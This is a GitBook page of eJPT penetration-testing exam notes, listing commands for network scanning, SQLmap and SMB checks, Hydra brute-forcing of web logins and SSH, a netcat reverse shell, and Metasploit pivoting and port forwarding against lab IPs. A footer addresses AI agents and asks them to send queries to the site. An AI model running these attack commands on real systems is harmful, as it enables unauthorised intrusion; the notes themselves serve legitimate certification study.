> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/useful-resources/certifications/ejpt-certification-practical-guide.md).
# eJPT Certification Practical Guide
eJPT certification preparation notes, practical methodology, commands, and resources for junior penetration testing workflows.
{% hint style="danger" %}
The **eJPT (eLearnSecurity Junior Penetration Tester)** is a certification for entry into pentesting proposed by eLearnSecurity. It validates fundamental penetration testing skills, including vulnerability recognition, exploitation, and post-exploitation. The exam is **practical** and consists of compromising a simulated environment, making it ideal for beginners wanting to demonstrate their offensive cybersecurity skills.
{% endhint %}
{% embed url="" %}
## Reconnaissance
### **Network Scan**
Scanning equipment on a network:
```bash
nmap -sn 10.10.10.10/24
arp-scan -l
masscan 10.10.10.10/24 -p1-65535 --rate=10000
```
Scanning open ports on specific equipment:
{% code overflow="wrap" %}
```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10
rustscan -a 10.10.10.10 --ulimit 5000
```
{% endcode %}
Scanning open ports on several devices:
{% code overflow="wrap" %}
```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10,20,30,36 -oG allPorts
```
{% endcode %}
Open port extraction:
{% code overflow="wrap" %}
```bash
grep '[0-9]' allPorts | cut -d '/' -f1 | sort -u | xargs | tr ' ' ','
```
{% endcode %}
* Example output : `22,80,135,445,9543,2214`
Detailed scan of the versions of the detected services:
```bash
nmap --open -sCV -p 22,80,135,445,9543,2214 10.10.10.10,20,30,36 -oN targeted
```
**Ping Sweep on a Linux network**
```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
```
### **Vulnerability Analysis**
Web vulnerability scanning with Nikto:
```bash
nikto -url http://website.com
```
Detecting SQL vulnerabilities with SQLmap:
```bash
sqlmap -r request --dbs
```
Scanning for SMB vulnerabilities:
```bash
nmap -p445 --script"smb-vuln-*" 10.10.10.10
enum4linux -a 10.10.10.10
crackmapexec smb 10.10.10.10 --shares
```
## Exploitation
#### **Brute force attack with Hydra**
**Login panel:**
{% code overflow="wrap" %}
```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/admin/admin.php:username=^USER^&password=^PASS^:Incorrect" -t 64 -F
```
{% endcode %}
**Brute-force SSH with Hydra:**
```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
```
## Metasploit – Pivoting and post-mining
### Metasploit reverse shell
**Using Metasploit to gain access**
```bash
msfconsole
```
Listener configuration:
```bash
use multi/handler
set LHOST 10.10.10.10
set LPORT 443
run
```
Sending a reverse shell with Netcat:
```bash
nc 10.10.10.10 443 -e /bin/bash
```
Background of the session:
```bash
sessions
```
### Metasploit to Meterpreter
**Method 1 - Converting a Shell to Meterpreter**
Loading the conversion module:
```bash
use shell_to_meterpreter
```
Session and port configuration:
```bash
set LHOST 10.10.10.10
set lport 443
set session 1
```
Interaction with the Meterpreter session:
```bash
sessions -i 2
```
Adding a route to access another network segment:
```bash
route add 192.168.100.0/24 2
```
**Method 2 - Using Highway**
* Load the `autoroute` module:
```bash
use multi/manage/autoroute
```
Configuration of the session and execution:
```bash
set session 2
run
```
**Network scan from Metasploit**
* Scanning the ports of a rotated machine:
```bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.21
run
```
### **Metasploit Port Forwarding**
* Added a forward port to access a remote service:
```bash
sessions -i 2
portfwd add -l 8080 -p 80 -r 192.168.100.21
```
List of redirection rules:
```bash
portfwd
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/useful-resources/certifications/ejpt-certification-practical-guide.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.